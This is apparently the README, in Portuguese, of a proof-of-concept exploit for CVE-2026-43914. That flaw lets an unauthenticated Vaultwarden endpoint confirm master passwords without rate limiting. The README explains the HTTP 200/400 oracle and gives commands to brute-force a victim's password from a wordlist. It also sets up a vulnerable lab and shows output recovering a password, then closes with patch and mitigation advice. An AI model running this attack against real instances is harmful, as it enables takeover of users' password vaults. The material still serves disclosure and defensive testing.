
PoC para CVE-2026-43914: Vaultwarden <1.35.4 — oráculo de senha do 2FA por e-mail contornado por força bruta. Python apenas com stdlib.
Prova de conceito para CVE-2026-43914: quando o E-mail 2FA está ativado, a
proteção de força bruta do login do Vaultwarden pode ser totalmente contornada por meio do
endpoint não autenticado POST /api/two-factor/send-email-login, que atua como um
oráculo de senha-mestra ilimitado.
Versões afetadas: Vaultwarden < 1.35.4
O Vaultwarden é o gerenciador de senhas auto-hospedado compatível com Bitwarden mais popular. Os administradores ativam o E-mail 2FA acreditando que ele impede a adivinhação de senhas — mas esse endpoint valida o hash da senha-mestra e retorna um status HTTP distinto para tentativas corretas/incorretas antes que qualquer limitação de taxa ou bloqueio de conta seja aplicado:
| Resposta | Significado |
|---|---|
200 | senha correta (e-mail OTP enviado) |
400 "Username or password is incorrect" | senha errada |
Um atacante que conhece (ou adivinha) o e-mail de uma vítima pode quebrar a senha-mestra por força bruta em velocidade total, sem qualquer limitação. O E-mail 2FA não impede isso.
Em src/api/core/two_factor/email.rs, o handler send_email_login verifica a
senha e retorna imediatamente em caso de incompatibilidade — mas essa rota não está registrada com o
middleware de força bruta/limitação que protege /identity/connect/token. Cada chamada:
check_valid_password(master_password_hash) →
err!("Username or password is incorrect") (HTTP 400) em caso de incompatibilidade,python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
Apenas a biblioteca padrão do Python 3.
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
Crie um usuário de teste (qualquer cliente ou API do Bitwarden), ative o E-mail 2FA (Configurações → Login em duas etapas → E-mail) e então execute o PoC contra ele.
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Atualize para o Vaultwarden 1.35.4+. Até lá: desative o E-mail 2FA em favor de TOTP/WebAuthn
e coloque a instância atrás de um proxy reverso com limitação de taxa por IP em
/api/two-factor/*.
Apenas para pesquisa de segurança autorizada e uso em laboratório.